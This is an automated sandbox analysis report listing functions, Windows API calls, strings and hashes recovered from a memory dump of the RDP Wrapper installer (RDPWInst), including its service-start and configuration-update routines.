Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: 27c98d3271cba15b76fb2ca257aef7b31123f3b10a7598d13b1c4fe8a3ea3e49
Instruction ID: 8407d2a862a87125c88b0e9e376b57c3f61afd3adb54f06dd13a213247f2bd06
Opcode Fuzzy Hash: 27c98d3271cba15b76fb2ca257aef7b31123f3b10a7598d13b1c4fe8a3ea3e49
Instruction Fuzzy Hash: 5CE04F1732122016DD3530BC19CA6AB1244498B7A83280937FC51F3BD2D23E4D5B519F

Function 004046C0 Relevance: 3.0, APIs: 2, Instructions: 29fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004046DF
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 004046E8

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 1c195610d2d2e68796caa6713af8b8095328086dc3c63ffe84f07c697ca82352
Instruction ID: 9545df1e08670e3e4372b9a2ed629c94f39af83de60d034ef920510406bc5815
Opcode Fuzzy Hash: 1c195610d2d2e68796caa6713af8b8095328086dc3c63ffe84f07c697ca82352
Instruction Fuzzy Hash: D1E092B16041106BDB54CE6A9980A6723CC9B89354F008877BA04EB282E2B9CC015776

Function 00414634 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

InterlockedCompareExchange.KERNEL32(00449DB0,00000001,00000000), ref: 00414644
CloseHandle.KERNEL32(00000000,00449DB0,00000001,00000000,?,00449EB4,00414694,00449EB4,00000000,?,0041770A,00000000,00417872), ref: 00414651

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseCompareExchangeHandleInterlocked
String ID:
API String ID: 190309047-0
Opcode ID: 542c7fe3d3f03a500ed8d8709c7a3033507625bc89f5adea9d21179b445396bb
Instruction ID: 63ce862fb254c7bb27cf93041dcda8475e179d55c14a8c261316d7a773b2a43f
Opcode Fuzzy Hash: 542c7fe3d3f03a500ed8d8709c7a3033507625bc89f5adea9d21179b445396bb
Instruction Fuzzy Hash: 3FD0A7F275172033DA2021A94DC1FAB014C8B9975CF015563BE44EF283D59CCC9102FC

Function 00438860 Relevance: 3.0, APIs: 2, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegFlushKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 00438871
RegCloseKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 0043887A

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseFlush
String ID:
API String ID: 320916635-0
Opcode ID: 610934545e47d1af713ada86b5371c3a5aace2d80b4164f12a0993911e23d539
Instruction ID: 02ceb0405e4d458188627afd9845f8495605ad087acfb065aa2a027a14818eba
Opcode Fuzzy Hash: 610934545e47d1af713ada86b5371c3a5aace2d80b4164f12a0993911e23d539
Instruction Fuzzy Hash: 8DE0ECA1B003008ADF64FF7684C4A12B6D86F48304B48D4BAB808DE14BDA3CD4109725

Function 00438B08 Relevance: 1.6, APIs: 1, Instructions: 79registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00438CCF,?,?,?,00000000), ref: 00438B85

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a46219772db8ce53a9de16e33fdee055c61f0647121e37f1090d2be0f08d93d7
Instruction ID: 89278caf5ef83198d89b8dc4a9c9fb76eb3a10e2e46a05883e0df08903897f1a
Opcode Fuzzy Hash: a46219772db8ce53a9de16e33fdee055c61f0647121e37f1090d2be0f08d93d7
Instruction Fuzzy Hash: C921D370B04344AFDB11EB65C842B9EF7F99B48304F2144BEB804E3282DA7C9E059758

Function 004083B0 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,0000020A), ref: 004083CE

Part of subcall function 0040920C: GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409248
Part of subcall function 0040920C: LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409299

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileModuleName$LibraryLoad
String ID:
API String ID: 4113206344-0
Opcode ID: cbb02fdfb2fa808f830c388f18c69e1a99260115120f30c524f5d5f327a3d354
Instruction ID: 90d1829834ce79f86c13b7573f8e9a8c333b05ddd33e28dd31ebb7d28ab9999b
Opcode Fuzzy Hash: cbb02fdfb2fa808f830c388f18c69e1a99260115120f30c524f5d5f327a3d354
Instruction Fuzzy Hash: 84E0C9B1A003109BCB10DE58C9C5A477798AB48764F044AAAED64EF387D775DD1087D5

Function 0040F650 Relevance: 1.5, APIs: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,?,00000000,00000002,00000080,00000000,?,?,004257A8,0042F5F0,00000000,0042F6D7,?,?,004257A8), ref: 0040F68A

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 09450458b8d81176c6a50bac5932f2701a5404c96287c680bb229262f5fe89b5
Instruction ID: 32e31081b98e7b24079041a639207f5f8240b3ca2c27c4b0157ee02f81a1b514
Opcode Fuzzy Hash: 09450458b8d81176c6a50bac5932f2701a5404c96287c680bb229262f5fe89b5
Instruction Fuzzy Hash: 99E0C2A3B4072036F63072AD4C82FAB9158CB867B4F470336FA50FB2D2C0999C0241AC

Function 0040F6C0 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0040F6D4

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 8e9fea90e53bca7412c33d02f8e097722a35645c54a93293cf713adbfc77c375
Instruction ID: 3fe4e569543b3f1381ab86603454923b4de8c4718f21568c98d02def12c07fd2
Opcode Fuzzy Hash: 8e9fea90e53bca7412c33d02f8e097722a35645c54a93293cf713adbfc77c375
Instruction Fuzzy Hash: 42D05BB63082507AD220D55B5C44DAB6BDCDBC5771F10063FB658C31C0D6308C05C275

Function 0043A644 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32 ref: 0043A648

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: f537996a7b7980d49ed43dd1d2441830a107cc63a0e7000c4f47f7a03b218ad6
Instruction ID: fbf5644ea725b9a19c2d11835783dba3dfebd9b236010a27cc61b97838af9c82
Opcode Fuzzy Hash: f537996a7b7980d49ed43dd1d2441830a107cc63a0e7000c4f47f7a03b218ad6
Instruction Fuzzy Hash: 66E086584BC14148C60523354C2F7A32688832A324F4D2923C4D985262E25FC0B77BAF

Function 0040F7C4 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,00447324,0043D137,00000000,0043D55E,?,00447324,0000000B,00000000,00000000,?,00443BAB,00000000,00443FB2), ref: 0040F7CF

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b551f2b18252a583477f9e8ccff1f7da88027c1fc4d2758f3b89c6edbf41f201
Instruction ID: dfbd20c989cc919aa742ea809a195094cafabb968b5a4f056a7cb7a67f60922a
Opcode Fuzzy Hash: b551f2b18252a583477f9e8ccff1f7da88027c1fc4d2758f3b89c6edbf41f201
Instruction Fuzzy Hash: F3C08CA03012000AEE30B1BD1DCA80B02884A0D2383A02A37F069F3AD3D23E886F201A

Function 0040FB5C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,00000001,0040F8C6,00000000,0040F8EB,?,00447324,00000000,00000000,00000000,00000000,?,0043D15F,00000000,0043D55E), ref: 0040FB69

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 93014c2a0d15a9f7c19c06a67ffa09c9f03b47d74489f26678219aaa478409b4
Instruction ID: 5428b92e23564d17d1f876684be8f9c2b3243abbeaf0de8523baba27188e832a
Opcode Fuzzy Hash: 93014c2a0d15a9f7c19c06a67ffa09c9f03b47d74489f26678219aaa478409b4
Instruction Fuzzy Hash: 40B092927543401AEA0035FA0CC6F2A418CD70960AF110C3ABA42E7183D47FC8290026

Function 00409310 Relevance: 1.3, APIs: 1, Instructions: 57stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,00000000,?,00000000,004093AD,?,?,?,00000000), ref: 0040937A

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: lstrcpyn
String ID:
API String ID: 97706510-0
Opcode ID: f92199f7e57e2128dd250d54d35a9e3758d953fbac64912c85fa78ba761ebe9f
Instruction ID: 1f383253a52e48d77bc15eb4822a33d834d352bf49a326ca98ed7cc47a11fc89
Opcode Fuzzy Hash: f92199f7e57e2128dd250d54d35a9e3758d953fbac64912c85fa78ba761ebe9f
Instruction Fuzzy Hash: 0111C671504204EFDF21DB69CC86B9A77F8EB19754F5100BAFC40AB2D2D7B8AD008A19

Function 00402AB2 Relevance: 1.3, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 00402AE3
VirtualQuery.KERNEL32(?,?,0000001C), ref: 00402B06
VirtualFree.KERNEL32(?,00000000,00008000,?,?,0000001C), ref: 00402B13

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Virtual$Free$Query
String ID:
API String ID: 778034434-0
Opcode ID: d2902ee949b2c85551e00087902fb7701d80a0372c0c987194a01e681a746040
Instruction ID: e8ddcf902efd7f78c833b1da2340b8221ccc6e4d64c13544335dcfda98f803ee
Opcode Fuzzy Hash: d2902ee949b2c85551e00087902fb7701d80a0372c0c987194a01e681a746040
Instruction Fuzzy Hash: 0CF06D343046005FD311CB19CA89B17BBE5EFC9350F15C17AE988973E5E675DC019B9A

Non-executed Functions

Function 0043B58C Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 107serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5EA
GetLastError.KERNEL32(?,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5F9

Part of subcall function 0043B48C: CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4BC
Part of subcall function 0043B48C: CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4D1

OpenServiceW.ADVAPI32(00000000,00000000,00000010,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B61F
GetLastError.KERNEL32(?,00000000,00000000,00000010,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B62E

Strings

$sD, xrefs: 0043B5B6
..., xrefs: 0043B5CD
[*] Starting , xrefs: 0043B5BB
OpenSCManager, xrefs: 0043B600
ServicesActive, xrefs: 0043B5E3
StartService, xrefs: 0043B689, 0043B699
OpenService, xrefs: 0043B635

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Service$CloseErrorHandleLastOpen$Manager
String ID: $sD$...$OpenSCManager$OpenService$ServicesActive$StartService$[*] Starting
API String ID: 2257214823-3855835416
Opcode ID: 55f0df0e7310880f6e7cb70b762c89182bbbe75636a3247ae01688996091d268
Instruction ID: 0e693e6e1cec2ac2fe46a8ff9d209bc722a6061919d6bcedfcc5fc96e321ed9b
Opcode Fuzzy Hash: 55f0df0e7310880f6e7cb70b762c89182bbbe75636a3247ae01688996091d268
Instruction Fuzzy Hash: 6C313471A04208AEDB10FBB68842B5F77E8DB4C715F60947BF614E7283DB7C9940869E

Function 0043CF60 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(RDP Wrapper Update,00000000,00000000,00000000,00000000), ref: 0043CF9B
InternetOpenUrlW.WININET(00000000,https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini,00000000,00000000,80000000,00000000), ref: 0043CFB7
InternetCloseHandle.WININET(00000000), ref: 0043CFC3
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0043CFDB
InternetCloseHandle.WININET(00000000), ref: 0043D002
InternetCloseHandle.WININET(00000000), ref: 0043D008

Strings

https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini, xrefs: 0043CFB1
RDP Wrapper Update, xrefs: 0043CF96
$sD, xrefs: 0043D01E, 0043CFE6, 0043CFF3

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$Open$FileRead
String ID: $sD$RDP Wrapper Update$https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini
API String ID: 4294395943-3115740878
Opcode ID: 0dd60196e7cab0bfb1fb3172ef56b337b41d75a0cde3163acb5471a059a842a1
Instruction ID: c5d90ac50beae541ecf0d1101a3828864360ef58c633fc88e2a86ac238cf1af1
Opcode Fuzzy Hash: 0dd60196e7cab0bfb1fb3172ef56b337b41d75a0cde3163acb5471a059a842a1
Instruction Fuzzy Hash: B611EC30A40204BAE725DB629C52F5E73B99B5CB08F21907AF500B61C1DAFC6D15965E

Function 00408EB9 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 81stringfileCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408E8B
FindFirstFileW.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408E9E
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408EB4
lstrlenW.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408EC0
lstrcpynW.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?), ref: 00408EFC
lstrlenW.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?), ref: 00408F08
lstrcpynW.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 00408F2B

Strings

\, xrefs: 00408ED2

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$CloseFileFirst
String ID: \
